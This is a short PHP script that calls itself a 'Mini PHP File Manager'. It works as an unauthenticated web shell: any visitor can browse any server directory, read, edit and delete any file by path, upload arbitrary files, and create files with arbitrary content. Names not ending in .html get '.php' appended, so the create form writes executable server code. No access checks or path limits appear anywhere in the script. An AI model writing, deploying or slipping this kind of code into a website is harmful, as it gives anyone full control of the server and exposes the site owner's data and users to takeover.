<?PHP

$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$dir = realpath($dir);

function h($s){
    return htmlspecialchars($s, ENT_QUOTES);
}

if(isset($_POST['create'])){
    $filename = $_POST['filename'];
    $html = $_POST['html'];

    if(!preg_match("/\.html$/", $filename)){
        $filename .= ".php";
    }

    file_put_contents($dir."/".$filename,$html);
}

if(isset($_POST['save'])){
    $file = $_POST['file'];
    $content = $_POST['content'];
    file_put_contents($file,$content);
}

if(isset($_GET['delete'])){
    unlink($_GET['delete']);
}

if(isset($_POST['upload'])){
    move_uploaded_file($_FILES['file']['tmp_name'],$dir."/".$_FILES['file']['name']);
}

$files = scandir($dir);
?>

<h2>Mini PHP File Manager</h2>

<form method="get">
Directory:
<input type="text" name="dir" value="<?PHP echo h($dir); ?>" style="width:400px">
<button type="submit">Open</button>
</form>

<hr>

<h3>Files</h3>

<ul>
<?PHP
foreach($files as $f){

    if($f=="." || $f=="..") continue;

    $path = $dir."/".$f;

    echo "<li>";

    if(is_dir($path)){
        echo "[DIR] <a href='?dir=".h($path)."'>".h($f)."</a>";
    }else{
        echo h($f)." 
        <a href='?edit=".h($path)."'>edit</a> 
        <a href='?delete=".h($path)."'>delete</a>";
    }

    echo "</li>";
}
?>
</ul>

<hr>

<h3>Create PHP File</h3>

<form method="post">
File name:
<input type="text" name="filename"><br><br>

<textarea name="html" rows="10" cols="80"></textarea><br><br>

<button name="create">Create</button>
</form>

<hr>

<h3>Upload File</h3>

<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button name="upload">Upload</button>
</form>

<?PHP

if(isset($_GET['edit'])){

    $file = $_GET['edit'];
    $content = htmlspecialchars(file_get_contents($file));

    echo "<hr>";
    echo "<h3>Edit File</h3>";

    echo "<form method='post'>";
    echo "<input type='hidden' name='file' value='".h($file)."'>";
    echo "<textarea name='content' rows='20' cols='100'>$content</textarea><br><br>";
    echo "<button name='save'>Save</button>";
    echo "</form>";
}
?>
